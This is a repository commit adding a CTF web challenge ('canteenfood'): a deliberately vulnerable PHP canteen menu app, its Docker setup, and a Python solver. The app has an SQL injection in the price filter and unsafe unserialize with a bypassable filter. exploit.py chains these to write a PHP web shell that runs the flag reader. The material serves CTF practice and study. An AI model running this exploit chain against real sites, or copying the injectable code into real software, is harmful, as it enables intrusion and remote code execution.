cscg25 continues
This commit is contained in:
49
cscg25/web/canteenfood/Dockerfile
Normal file
49
cscg25/web/canteenfood/Dockerfile
Normal file
@@ -0,0 +1,49 @@
|
||||
FROM debian:bullseye-slim@sha256:6344a6747740d465bff88e833e43ef881a8c4dd51950dba5b30664c93f74cbef
|
||||
|
||||
# Setup user
|
||||
RUN useradd www
|
||||
|
||||
# Install system packeges
|
||||
RUN apt-get update && apt-get install -y supervisor nginx lsb-release mariadb-server mariadb-client wget gcc
|
||||
|
||||
# Add repos
|
||||
RUN wget -O /etc/apt/trusted.gpg.d/php.gpg https://packages.sury.org/php/apt.gpg
|
||||
RUN echo "deb https://packages.sury.org/php/ bullseye main" | tee /etc/apt/sources.list.d/php.list
|
||||
|
||||
# Install PHP dependencies
|
||||
RUN apt update && apt install -y php7.1-fpm php7.1-mysql
|
||||
|
||||
# Configure php-fpm and nginx
|
||||
COPY config/fpm.conf /etc/php/7.1/fpm/php-fpm.conf
|
||||
COPY config/supervisord.conf /etc/supervisord.conf
|
||||
COPY config/nginx.conf /etc/nginx/nginx.conf
|
||||
COPY config/mariadb.conf /etc/mysql/mariadb.conf.d/50-server.cnf
|
||||
|
||||
# Copy challenge files
|
||||
COPY challenge /www
|
||||
|
||||
# Copy flag
|
||||
COPY flag.txt /
|
||||
COPY logs.txt /
|
||||
|
||||
|
||||
# Add readflag binary and prepare flag
|
||||
COPY readflag.c /
|
||||
RUN gcc /readflag.c -o /readflag \
|
||||
&& chown root:root /readflag \
|
||||
&& chmod +s /readflag \
|
||||
&& rm /readflag.c \
|
||||
&& chmod 400 /flag.txt
|
||||
|
||||
# Setup permissions
|
||||
RUN chown -R www:www /www /var/lib/nginx
|
||||
RUN chown www:www /logs.txt
|
||||
|
||||
RUN apt-get remove gcc wget -y
|
||||
|
||||
# Expose the port nginx is listening on
|
||||
EXPOSE 80
|
||||
|
||||
# Start db and start supervisord
|
||||
COPY --chown=root entrypoint.sh /entrypoint.sh
|
||||
ENTRYPOINT ["/entrypoint.sh"]
|
||||
4
cscg25/web/canteenfood/build_docker.sh
Executable file
4
cscg25/web/canteenfood/build_docker.sh
Executable file
@@ -0,0 +1,4 @@
|
||||
#!/bin/bash
|
||||
docker rm -f canteenfood
|
||||
docker build -t canteenfood . && \
|
||||
docker run --name=canteenfood --rm -p 127.0.0.1:1337:80 -it canteenfood
|
||||
4
cscg25/web/canteenfood/build_patched_docker.sh
Executable file
4
cscg25/web/canteenfood/build_patched_docker.sh
Executable file
@@ -0,0 +1,4 @@
|
||||
#!/bin/bash
|
||||
docker rm -f canteenfood_patched
|
||||
docker build -t canteenfood_patched . && \
|
||||
docker run --name=canteenfood_patched -d --rm -p 127.0.0.1:1338:80 -it canteenfood_patched
|
||||
21
cscg25/web/canteenfood/challenge/Database.php
Normal file
21
cscg25/web/canteenfood/challenge/Database.php
Normal file
@@ -0,0 +1,21 @@
|
||||
<?php
|
||||
class Database {
|
||||
|
||||
private static $db;
|
||||
private $connection;
|
||||
|
||||
private function __construct() {
|
||||
$this->connection = new MySQLi('127.0.0.1', $_SERVER['DB_USER'], $_SERVER['DB_PASS'], $_SERVER['DB_NAME']);
|
||||
}
|
||||
|
||||
function __destruct() {
|
||||
$this->connection->close();
|
||||
}
|
||||
|
||||
public static function getConnection() {
|
||||
if (self::$db == null) {
|
||||
self::$db = new Database();
|
||||
}
|
||||
return self::$db->connection;
|
||||
}
|
||||
}
|
||||
114
cscg25/web/canteenfood/challenge/Routing.php
Normal file
114
cscg25/web/canteenfood/challenge/Routing.php
Normal file
@@ -0,0 +1,114 @@
|
||||
<?php
|
||||
// From makelarisjr & makelaris.
|
||||
class Routing
|
||||
{
|
||||
public $rts = [];
|
||||
|
||||
public function new($method, $route, $controller)
|
||||
{
|
||||
$r = [
|
||||
'method' => $method,
|
||||
'route' => $route,
|
||||
];
|
||||
|
||||
if (is_callable($controller))
|
||||
{
|
||||
$r['controller'] = $controller;
|
||||
$this->rts[] = $r;
|
||||
}
|
||||
else if (strpos($controller, '@'))
|
||||
{
|
||||
$split = explode('@', $controller);
|
||||
$class = $split[0];
|
||||
$function = $split[1];
|
||||
|
||||
$r['controller'] = [
|
||||
'class' => $class,
|
||||
'function' => $function
|
||||
];
|
||||
|
||||
$this->rts[] = $r;
|
||||
}
|
||||
else
|
||||
{
|
||||
throw new Exception('Invalid controller');
|
||||
}
|
||||
}
|
||||
|
||||
public function match()
|
||||
{
|
||||
foreach($this->rts as $route)
|
||||
{
|
||||
if ($this->_match_route($route['route']))
|
||||
{
|
||||
if ($route['method'] != $_SERVER['REQUEST_METHOD'])
|
||||
{
|
||||
$this->abort(405);
|
||||
}
|
||||
$params = $this->getRouteParameters($route['route']);
|
||||
|
||||
if (is_array($route['controller']))
|
||||
{
|
||||
$controller = $route['controller'];
|
||||
$class = $controller['class'];
|
||||
$function = $controller['function'];
|
||||
|
||||
return (new $class)->$function($this,$params);
|
||||
}
|
||||
return $route['controller']($this,$params);
|
||||
}
|
||||
}
|
||||
|
||||
$this->abort(404);
|
||||
}
|
||||
|
||||
public function _match_route($route)
|
||||
{
|
||||
$uri = explode('/', strtok($_SERVER['REQUEST_URI'], '?'));
|
||||
$route = explode('/', $route);
|
||||
|
||||
if (count($uri) != count($route)) return false;
|
||||
|
||||
foreach ($route as $key => $value)
|
||||
{
|
||||
if ($uri[$key] != $value && $value != '{param}') return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
public function getRouteParameters($route)
|
||||
{
|
||||
$params = [];
|
||||
$uri = explode('/', strtok($_SERVER['REQUEST_URI'], '?'));
|
||||
$route = explode('/', $route);
|
||||
|
||||
foreach ($route as $key => $value)
|
||||
{
|
||||
if ($uri[$key] == $value) continue;
|
||||
if ($value == '{param}')
|
||||
{
|
||||
if ($uri[$key] == '')
|
||||
{
|
||||
$this->abort(404);
|
||||
}
|
||||
$params[] = $uri[$key];
|
||||
}
|
||||
}
|
||||
|
||||
return $params;
|
||||
}
|
||||
|
||||
public function abort($code)
|
||||
{
|
||||
http_response_code($code);
|
||||
exit;
|
||||
}
|
||||
|
||||
public function view($view, $data = [])
|
||||
{
|
||||
extract($data);
|
||||
include __DIR__."/views/${view}.php";
|
||||
exit;
|
||||
}
|
||||
}
|
||||
BIN
cscg25/web/canteenfood/challenge/assets/food.gif
Normal file
BIN
cscg25/web/canteenfood/challenge/assets/food.gif
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 1.3 MiB |
@@ -0,0 +1,14 @@
|
||||
<?php
|
||||
class AdminController
|
||||
{
|
||||
public function admin($router)
|
||||
{
|
||||
if($_SESSION["admin"] === false) {
|
||||
return $router->view('admin', ['logs' => "Only access allowed for canteen admin!!!"]);
|
||||
} else {
|
||||
$admin = new AdminModel("/logs.txt","");
|
||||
return $router->view('admin', ['logs' => $admin->read_logs("/logs.txt")]);
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
<?php
|
||||
class CanteenController
|
||||
{
|
||||
public function index($router)
|
||||
{
|
||||
$food = new CanteenModel(0);
|
||||
if(isset($_GET['price'])) {
|
||||
return $router->view('index', ['food' => $food->filterFood($_GET['price'])]);
|
||||
}
|
||||
return $router->view('index', ['food' => $food->getFood()]);
|
||||
}
|
||||
}
|
||||
20
cscg25/web/canteenfood/challenge/index.php
Normal file
20
cscg25/web/canteenfood/challenge/index.php
Normal file
@@ -0,0 +1,20 @@
|
||||
<?php
|
||||
|
||||
session_start();
|
||||
|
||||
$_SESSION["admin"] = false;
|
||||
|
||||
include_once "controllers/AdminController.php";
|
||||
include_once "controllers/CanteenController.php";
|
||||
include_once "models/AdminModel.php";
|
||||
include_once "models/CanteenModel.php";
|
||||
include_once "Routing.php";
|
||||
include_once "Database.php";
|
||||
|
||||
$router = new Routing();
|
||||
$router->new('GET', '/', 'CanteenController@index');
|
||||
$router->new('GET', '/admin', 'AdminController@admin');
|
||||
|
||||
$response = $router->match();
|
||||
|
||||
die($response);
|
||||
32
cscg25/web/canteenfood/challenge/models/AdminModel.php
Normal file
32
cscg25/web/canteenfood/challenge/models/AdminModel.php
Normal file
@@ -0,0 +1,32 @@
|
||||
<?php
|
||||
|
||||
if($_SESSION["admin"] === false){
|
||||
return "You're not welcome. This part is only for canteen workers.";
|
||||
}
|
||||
|
||||
|
||||
class AdminModel {
|
||||
public $filename;
|
||||
public $logcontent;
|
||||
|
||||
public function __construct($filename, $content) {
|
||||
$this->filename = $filename;
|
||||
$this->logcontent = $content;
|
||||
file_put_contents($filename, $content, FILE_APPEND);
|
||||
}
|
||||
|
||||
public function __wakeup() {
|
||||
new LogFile($this->filename, $this->logcontent);
|
||||
}
|
||||
|
||||
public static function read_logs($log) {
|
||||
$contents = file_get_contents($log);
|
||||
return $contents;
|
||||
}
|
||||
}
|
||||
|
||||
class LogFile {
|
||||
public function __construct($filename, $content) {
|
||||
file_put_contents($filename, $content, FILE_APPEND);
|
||||
}
|
||||
}
|
||||
71
cscg25/web/canteenfood/challenge/models/CanteenModel.php
Normal file
71
cscg25/web/canteenfood/challenge/models/CanteenModel.php
Normal file
@@ -0,0 +1,71 @@
|
||||
<?php
|
||||
class CanteenModel {
|
||||
|
||||
|
||||
public function getFood() {
|
||||
$log_entry = 'Access at: '. date('Y-m-d H:i:s') . "<br>\n";
|
||||
$logger = new AdminModel("/logs.txt", $log_entry);
|
||||
|
||||
$db = Database::getConnection();
|
||||
$sql = "SELECT * FROM food";
|
||||
if ($result = $db->query($sql)) {
|
||||
$result_string = "";
|
||||
while($obj = $result->fetch_object()){
|
||||
if($obj->name !== '') {
|
||||
$result_string .= $obj->name . ' for ' . $obj->price . '€ <br>';
|
||||
$db->query("UPDATE food SET price = " . (rand(0, 100000) / 100) . " WHERE name = \"" . $obj->name. "\"");
|
||||
}
|
||||
|
||||
if($obj->oldvalue !== '') {
|
||||
$dec_result = base64_decode($obj->oldvalue);
|
||||
if (preg_match_all('/O:\d+:"([^"]*)"/', $dec_result, $matches)) {
|
||||
return 'Not allowed';
|
||||
}
|
||||
$uns_result = unserialize($dec_result);
|
||||
$result_string .= $uns_result[0] . ' for ' . $uns_result[1] . '€<br>';
|
||||
$new_value = [$uns_result[0], (rand(0, 100000) / 100)];
|
||||
$db->query("UPDATE food SET oldvalue = \"" . base64_encode(serialize($new_value)) . "\" WHERE oldvalue = \"" . $obj->oldvalue . "\"");
|
||||
}
|
||||
}
|
||||
return $result_string;
|
||||
}
|
||||
return 'No food this week - we\'re closed';
|
||||
}
|
||||
|
||||
public function filterFood($price_param) {
|
||||
$log_entry = 'Access at: '. date('Y-m-d H:i:s') . "<br>\n";
|
||||
$logger = new AdminModel("../logs.txt", $log_entry);
|
||||
|
||||
|
||||
$db = Database::getConnection();
|
||||
$sql = "SELECT * FROM food where price < " . $price_param;
|
||||
error_log(print_r($sql, true));
|
||||
if ($result = $db->query($sql)) {
|
||||
error_log(print_r($result, true));
|
||||
$result_string = "";
|
||||
while($obj = $result->fetch_object()){
|
||||
if($obj->name !== '') {
|
||||
$result_string .= $obj->name . ' for ' . $obj->price . '€ <br>';
|
||||
}
|
||||
|
||||
if($obj->oldvalue !== '') {
|
||||
$dec_result = base64_decode($obj->oldvalue);
|
||||
if (preg_match_all('/O:\d+:"([^"]*)"/', $dec_result, $matches)) {
|
||||
return 'Not allowed';
|
||||
}
|
||||
$uns_result = unserialize($dec_result);
|
||||
if ($uns_result[1] < $price_param) {
|
||||
$result_string .= $uns_result[0] . ' for ' . $uns_result[1] . '€<br>';
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if($result_string === "") {
|
||||
return 'Everything is too expensive for you this week, Sir/Madame. We\'re sorry!';
|
||||
}
|
||||
return $result_string;
|
||||
}
|
||||
|
||||
return 'Everything is too expensive for you this week, Sir/Madame. We\'re sorry!';
|
||||
}
|
||||
}
|
||||
67
cscg25/web/canteenfood/challenge/static/css/main.css
Normal file
67
cscg25/web/canteenfood/challenge/static/css/main.css
Normal file
@@ -0,0 +1,67 @@
|
||||
body {
|
||||
font-family: 'Press Start 2P', cursive;
|
||||
min-width: 260px;
|
||||
color: #000000;
|
||||
text-align: center;
|
||||
background-color: #006400;
|
||||
}
|
||||
|
||||
.btn-block {
|
||||
width: 93%;
|
||||
display: inline-block;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.form-group {
|
||||
margin-top: 55px !important;
|
||||
}
|
||||
|
||||
#main {
|
||||
margin: 30px auto;
|
||||
padding: 15px;
|
||||
border: 0px solid;
|
||||
border-radius: 5px;
|
||||
background: #556b2f;
|
||||
}
|
||||
|
||||
#title {
|
||||
display: inline-flex;
|
||||
}
|
||||
|
||||
#title i {
|
||||
color: #D34156;
|
||||
font-size: 50px;
|
||||
margin: 0px 40px;
|
||||
}
|
||||
#time {
|
||||
color: #ff0a94;
|
||||
}
|
||||
|
||||
h2 {
|
||||
color: #000000;
|
||||
}
|
||||
|
||||
img {
|
||||
width: 550px;
|
||||
margin-top: 1.4% !important;
|
||||
height: 560px;
|
||||
padding: 20px;
|
||||
max-width: 100%;
|
||||
display: block;
|
||||
height: auto;
|
||||
margin: auto;
|
||||
object-fit: cover;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
img:hover {
|
||||
animation: dance 1.6s;
|
||||
animation-iteration-count: infinite;
|
||||
}
|
||||
|
||||
.pulse{
|
||||
animation: pound 0.84s infinite alternate;
|
||||
-webkit-animation: pound 0.84s infinite alternate;
|
||||
}
|
||||
16
cscg25/web/canteenfood/challenge/views/admin.php
Normal file
16
cscg25/web/canteenfood/challenge/views/admin.php
Normal file
@@ -0,0 +1,16 @@
|
||||
<html>
|
||||
<head>
|
||||
<meta name='author' content='poory'>
|
||||
<meta name='viewport' content='width=device-width, initial-scale=1, shrink-to-fit=no'>
|
||||
<title>Canteen Plan</title>
|
||||
<link rel='stylesheet' href='//maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css' integrity='sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm' crossorigin='anonymous'>
|
||||
<link rel='stylesheet' href='//cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.2/css/all.min.css' integrity='sha512-HK5fgLBL+xu6dm/Ii3z4xhlSUyZgTT9tuc/hSrtw6uzJOvgRr2a9jyxxT1ely+B+xFAmJKVSTbpM/CuL7qxO8w==' crossorigin='anonymous' />
|
||||
<link rel='stylesheet' href='/static/css/main.css' />
|
||||
<link rel='preconnect' href='//fonts.gstatic.com'>
|
||||
<link link='preload' href='//fonts.googleapis.com/css2?family=Press+Start+2P&display=swap' rel='stylesheet'>
|
||||
<link rel='icon' href='/assets/favicon.png' />
|
||||
</head>
|
||||
<body>
|
||||
<span id='logs'> <?= $logs ?></span>
|
||||
</body>
|
||||
</html>
|
||||
36
cscg25/web/canteenfood/challenge/views/index.php
Normal file
36
cscg25/web/canteenfood/challenge/views/index.php
Normal file
@@ -0,0 +1,36 @@
|
||||
<html>
|
||||
<head>
|
||||
<meta name='author' content='poory'>
|
||||
<meta name='viewport' content='width=device-width, initial-scale=1, shrink-to-fit=no'>
|
||||
<title>Canteen Plan</title>
|
||||
<link rel='stylesheet' href='//maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css' integrity='sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm' crossorigin='anonymous'>
|
||||
<link rel='stylesheet' href='//cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.2/css/all.min.css' integrity='sha512-HK5fgLBL+xu6dm/Ii3z4xhlSUyZgTT9tuc/hSrtw6uzJOvgRr2a9jyxxT1ely+B+xFAmJKVSTbpM/CuL7qxO8w==' crossorigin='anonymous' />
|
||||
<link rel='stylesheet' href='/static/css/main.css' />
|
||||
<link rel='preconnect' href='//fonts.gstatic.com'>
|
||||
<link link='preload' href='//fonts.googleapis.com/css2?family=Press+Start+2P&display=swap' rel='stylesheet'>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<a class='fas fa-heart pulse' href="/admin">admin</a>
|
||||
<div id='main' class='container'>
|
||||
<h1 id='title'>
|
||||
<i class='fas fa-heart pulse'></i> <b>Canteen Plan</b> <i class='fas fa-heart pulse'></i>
|
||||
</h1>
|
||||
<br>
|
||||
<div id='img-div'>
|
||||
<img id='image' src='/assets/food.gif' alt='yuuuuuuummy'> <!-- Not modified and taken from https://commons.wikimedia.org/wiki/File:Foods_-_Idil_Keysan_-_Wikimedia_Giphy_stickers_2019.gif . Thanks -->
|
||||
<br>
|
||||
</div>
|
||||
<div id='searchfield'>
|
||||
<form action="/" method="get">
|
||||
<input type="search" id="site-search" placeholder="300" name="price" />
|
||||
<button>Cheap Price Search</button>
|
||||
</form>
|
||||
</div>
|
||||
<br>
|
||||
<h2>Today we will satisfy you with:</h2>
|
||||
<br>
|
||||
<span id='food'> <?= $food ?></span>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
20
cscg25/web/canteenfood/config/fpm.conf
Normal file
20
cscg25/web/canteenfood/config/fpm.conf
Normal file
@@ -0,0 +1,20 @@
|
||||
[global]
|
||||
daemonize = no
|
||||
error_log = /dev/stderr
|
||||
log_level = notice
|
||||
|
||||
[www]
|
||||
user = www
|
||||
group = www
|
||||
|
||||
clear_env = On
|
||||
|
||||
listen = /run/php-fpm.sock
|
||||
listen.owner = www
|
||||
listen.group = www
|
||||
|
||||
pm = dynamic
|
||||
pm.max_children = 15
|
||||
pm.start_servers = 2
|
||||
pm.min_spare_servers = 1
|
||||
pm.max_spare_servers = 3
|
||||
133
cscg25/web/canteenfood/config/mariadb.conf
Normal file
133
cscg25/web/canteenfood/config/mariadb.conf
Normal file
@@ -0,0 +1,133 @@
|
||||
#
|
||||
# These groups are read by MariaDB server.
|
||||
# Use it for options that only the server (but not clients) should see
|
||||
#
|
||||
# See the examples of server my.cnf files in /usr/share/mysql
|
||||
|
||||
# this is read by the standalone daemon and embedded servers
|
||||
[server]
|
||||
|
||||
# this is only for the mysqld standalone daemon
|
||||
[mysqld]
|
||||
|
||||
#
|
||||
# * Basic Settings
|
||||
#
|
||||
user = mysql
|
||||
pid-file = /run/mysqld/mysqld.pid
|
||||
socket = /run/mysqld/mysqld.sock
|
||||
#port = 3306
|
||||
basedir = /usr
|
||||
datadir = /var/lib/mysql
|
||||
tmpdir = /tmp
|
||||
lc-messages-dir = /usr/share/mysql
|
||||
#skip-external-locking
|
||||
|
||||
# Instead of skip-networking the default is now to listen only on
|
||||
# localhost which is more compatible and is not less secure.
|
||||
bind-address = 127.0.0.1
|
||||
|
||||
#
|
||||
# * Fine Tuning
|
||||
#
|
||||
#key_buffer_size = 16M
|
||||
#max_allowed_packet = 16M
|
||||
#thread_stack = 192K
|
||||
#thread_cache_size = 8
|
||||
# This replaces the startup script and checks MyISAM tables if needed
|
||||
# the first time they are touched
|
||||
#myisam_recover_options = BACKUP
|
||||
#max_connections = 100
|
||||
#table_cache = 64
|
||||
#thread_concurrency = 10
|
||||
|
||||
#
|
||||
# * Query Cache Configuration
|
||||
#
|
||||
#query_cache_limit = 1M
|
||||
query_cache_size = 16M
|
||||
|
||||
#
|
||||
# * Logging and Replication
|
||||
#
|
||||
# Both location gets rotated by the cronjob.
|
||||
# Be aware that this log type is a performance killer.
|
||||
# As of 5.1 you can enable the log at runtime!
|
||||
general_log_file = /var/log/mysql/mysql.log
|
||||
general_log = 1
|
||||
#
|
||||
# Error log - should be very few entries.
|
||||
#
|
||||
log_error = /var/log/mysql/error.log
|
||||
#
|
||||
# Enable the slow query log to see queries with especially long duration
|
||||
#slow_query_log_file = /var/log/mysql/mariadb-slow.log
|
||||
#long_query_time = 10
|
||||
#log_slow_rate_limit = 1000
|
||||
#log_slow_verbosity = query_plan
|
||||
#log-queries-not-using-indexes
|
||||
#
|
||||
# The following can be used as easy to replay backup logs or for replication.
|
||||
# note: if you are setting up a replication slave, see README.Debian about
|
||||
# other settings you may need to change.
|
||||
#server-id = 1
|
||||
#log_bin = /var/log/mysql/mysql-bin.log
|
||||
expire_logs_days = 10
|
||||
#max_binlog_size = 100M
|
||||
#binlog_do_db = include_database_name
|
||||
#binlog_ignore_db = exclude_database_name
|
||||
|
||||
#
|
||||
# * Security Features
|
||||
#
|
||||
# Read the manual, too, if you want chroot!
|
||||
#chroot = /var/lib/mysql/
|
||||
#
|
||||
# For generating SSL certificates you can use for example the GUI tool "tinyca".
|
||||
#
|
||||
#ssl-ca = /etc/mysql/cacert.pem
|
||||
#ssl-cert = /etc/mysql/server-cert.pem
|
||||
#ssl-key = /etc/mysql/server-key.pem
|
||||
#
|
||||
# Accept only connections using the latest and most secure TLS protocol version.
|
||||
# ..when MariaDB is compiled with OpenSSL:
|
||||
#ssl-cipher = TLSv1.2
|
||||
# ..when MariaDB is compiled with YaSSL (default in Debian):
|
||||
#ssl = on
|
||||
|
||||
#
|
||||
# * Character sets
|
||||
#
|
||||
# MySQL/MariaDB default is Latin1, but in Debian we rather default to the full
|
||||
# utf8 4-byte character set. See also client.cnf
|
||||
#
|
||||
character-set-server = utf8mb4
|
||||
collation-server = utf8mb4_general_ci
|
||||
|
||||
#
|
||||
# * InnoDB
|
||||
#
|
||||
# InnoDB is enabled by default with a 10MB datafile in /var/lib/mysql/.
|
||||
# Read the manual for more InnoDB related options. There are many!
|
||||
|
||||
#
|
||||
# * Unix socket authentication plugin is built-in since 10.0.22-6
|
||||
#
|
||||
# Needed so the root database user can authenticate without a password but
|
||||
# only when running as the unix root user.
|
||||
#
|
||||
# Also available for other users if required.
|
||||
# See https://mariadb.com/kb/en/unix_socket-authentication-plugin/
|
||||
|
||||
# this is only for embedded server
|
||||
[embedded]
|
||||
|
||||
# This group is only read by MariaDB servers, not by MySQL.
|
||||
# If you use the same .cnf file for MySQL and MariaDB,
|
||||
# you can put MariaDB-only options here
|
||||
[mariadb]
|
||||
|
||||
# This group is only read by MariaDB-10.3 servers.
|
||||
# If you use the same .cnf file for MariaDB of different versions,
|
||||
# use this group for options that older servers don't understand
|
||||
[mariadb-10.3]
|
||||
39
cscg25/web/canteenfood/config/nginx.conf
Normal file
39
cscg25/web/canteenfood/config/nginx.conf
Normal file
@@ -0,0 +1,39 @@
|
||||
user www;
|
||||
pid /run/nginx.pid;
|
||||
error_log /dev/stderr info;
|
||||
|
||||
events {
|
||||
worker_connections 1024;
|
||||
}
|
||||
|
||||
http {
|
||||
server_tokens off;
|
||||
log_format docker '$remote_addr $remote_user $status "$request" "$http_referer" "$http_user_agent" ';
|
||||
access_log /dev/stdout docker;
|
||||
|
||||
charset utf-8;
|
||||
keepalive_timeout 20s;
|
||||
sendfile on;
|
||||
tcp_nopush on;
|
||||
client_max_body_size 1M;
|
||||
include /etc/nginx/mime.types;
|
||||
|
||||
server {
|
||||
listen 80;
|
||||
server_name _;
|
||||
|
||||
index index.php;
|
||||
root /www;
|
||||
|
||||
location / {
|
||||
try_files $uri $uri/ /index.php?$query_string;
|
||||
location ~ \.php$ {
|
||||
try_files $uri =404;
|
||||
fastcgi_pass unix:/run/php-fpm.sock;
|
||||
fastcgi_index index.php;
|
||||
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
|
||||
include fastcgi_params;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
23
cscg25/web/canteenfood/config/supervisord.conf
Normal file
23
cscg25/web/canteenfood/config/supervisord.conf
Normal file
@@ -0,0 +1,23 @@
|
||||
[supervisord]
|
||||
user=root
|
||||
nodaemon=true
|
||||
logfile=/dev/null
|
||||
logfile_maxbytes=0
|
||||
pidfile=/run/supervisord.pid
|
||||
|
||||
[program:fpm]
|
||||
command=php-fpm7.1 -F
|
||||
autostart=true
|
||||
priority=1000
|
||||
stdout_logfile=/dev/stdout
|
||||
stdout_logfile_maxbytes=0
|
||||
stderr_logfile=/dev/stderr
|
||||
stderr_logfile_maxbytes=0
|
||||
|
||||
[program:nginx]
|
||||
command=nginx -g 'daemon off;'
|
||||
autostart=true
|
||||
stdout_logfile=/dev/stdout
|
||||
stdout_logfile_maxbytes=0
|
||||
stderr_logfile=/dev/stderr
|
||||
stderr_logfile_maxbytes=0
|
||||
42
cscg25/web/canteenfood/entrypoint.sh
Executable file
42
cscg25/web/canteenfood/entrypoint.sh
Executable file
@@ -0,0 +1,42 @@
|
||||
#!/bin/bash
|
||||
|
||||
chmod 600 /entrypoint.sh
|
||||
|
||||
mkdir -p /run/mysqld
|
||||
chown -R mysql:mysql /run/mysqld
|
||||
mysql_install_db --user=mysql --ldata=/var/lib/mysql
|
||||
mysqld --user=mysql --console --skip-name-resolve --skip-networking=0 &
|
||||
|
||||
while ! mysqladmin ping -h'localhost' --silent; do echo "not up" && sleep .2; done
|
||||
|
||||
|
||||
export DB_USER="user_$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 5 | head -n 1)"
|
||||
export DB_NAME="db_$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 5 | head -n 1)"
|
||||
|
||||
mysql -u root << EOF
|
||||
CREATE DATABASE $DB_NAME;
|
||||
CREATE TABLE $DB_NAME.food (
|
||||
id INT NOT NULL AUTO_INCREMENT,
|
||||
name VARCHAR(255),
|
||||
oldvalue VARCHAR(255),
|
||||
price float,
|
||||
PRIMARY KEY (id)
|
||||
);
|
||||
|
||||
INSERT INTO $DB_NAME.food (name, oldvalue, price) VALUES ('Spaghetti', '', 2.99);
|
||||
INSERT INTO $DB_NAME.food (name, oldvalue, price) VALUES ('Burger', '', 100.99);
|
||||
INSERT INTO $DB_NAME.food (name, oldvalue, price) VALUES ('Cookies', '', 22.30);
|
||||
INSERT INTO $DB_NAME.food (name, oldvalue, price) VALUES ('Lasagna', '', 7.50);
|
||||
INSERT INTO $DB_NAME.food (name, oldvalue, price) VALUES ('Schnitzel', '', 5000.99);
|
||||
INSERT INTO $DB_NAME.food (name, oldvalue, price) VALUES ('','YToyOntpOjA7czo1OiJQaXp6YSI7aToxO2Q6MC45OTt9', 0);
|
||||
|
||||
CREATE USER '$DB_USER'@'%';
|
||||
GRANT SELECT, UPDATE ON *.* TO '$DB_USER'@'%';
|
||||
ALTER USER 'root'@'localhost' IDENTIFIED BY 'test123';
|
||||
FLUSH PRIVILEGES;
|
||||
|
||||
EOF
|
||||
|
||||
echo -e "fastcgi_param DB_NAME $DB_NAME;\nfastcgi_param DB_USER $DB_USER;\nfastcgi_param DB_PASS '';" >> /etc/nginx/fastcgi_params
|
||||
|
||||
/usr/bin/supervisord -c /etc/supervisord.conf
|
||||
39
cscg25/web/canteenfood/exploit.py
Normal file
39
cscg25/web/canteenfood/exploit.py
Normal file
@@ -0,0 +1,39 @@
|
||||
import requests
|
||||
from base64 import b64encode
|
||||
|
||||
SITE_URL = "https://c3438387fc4b879a3ef7e4c9-80-canteenfood.challenge.cscg.live:1337/"
|
||||
|
||||
malicious_site = """
|
||||
<html>
|
||||
<body>
|
||||
<h1><?= system("../../readflag"); ?><h1>
|
||||
</body>
|
||||
</html>
|
||||
"""
|
||||
|
||||
|
||||
def sql_injection_oldvalue(payload: str):
|
||||
return f'2 UNION SELECT NULL as id, "" as name, "{payload}" as oldvalue, NULL as price'
|
||||
|
||||
|
||||
def arbitrary_append(filename, content):
|
||||
php_object = f'O:+10:"AdminModel":2:{{s:8:"filename";s:{len(filename)}:"{filename}";s:10:"logcontent";s:{len(content)}:"{content}";}}'.encode('ascii')
|
||||
encoded_php_object = b64encode(php_object).decode('ascii')
|
||||
injection_string = sql_injection_oldvalue(encoded_php_object)
|
||||
params = {'price': injection_string}
|
||||
session.get(SITE_URL, params=params)
|
||||
|
||||
def retrieve_flag(filepath: str):
|
||||
response = session.get(SITE_URL + filepath)
|
||||
if response.status_code == 200:
|
||||
return response.text
|
||||
else:
|
||||
raise RuntimeError(f"Injected php script is not present at {filepath}")
|
||||
|
||||
session = requests.Session()
|
||||
filepath = "views/injection.php"
|
||||
arbitrary_append(filepath, malicious_site)
|
||||
flag = retrieve_flag(filepath)
|
||||
|
||||
print(flag)
|
||||
|
||||
1
cscg25/web/canteenfood/flag.txt
Normal file
1
cscg25/web/canteenfood/flag.txt
Normal file
@@ -0,0 +1 @@
|
||||
dach2025{fakeflag}
|
||||
1
cscg25/web/canteenfood/logs.txt
Normal file
1
cscg25/web/canteenfood/logs.txt
Normal file
@@ -0,0 +1 @@
|
||||
--- Log File who accessed the canteen plan ---<br>
|
||||
17
cscg25/web/canteenfood/readflag.c
Normal file
17
cscg25/web/canteenfood/readflag.c
Normal file
@@ -0,0 +1,17 @@
|
||||
#include <stdio.h>
|
||||
|
||||
int main(void) {
|
||||
char flag[256] = {0};
|
||||
FILE* fp = fopen("/flag.txt", "r");
|
||||
if (!fp) {
|
||||
perror("fopen");
|
||||
return 1;
|
||||
}
|
||||
if (fread(flag, 1, 256, fp) < 0) {
|
||||
perror("fread");
|
||||
return 1;
|
||||
}
|
||||
puts(flag);
|
||||
fclose(fp);
|
||||
return 0;
|
||||
}
|
||||
Reference in New Issue
Block a user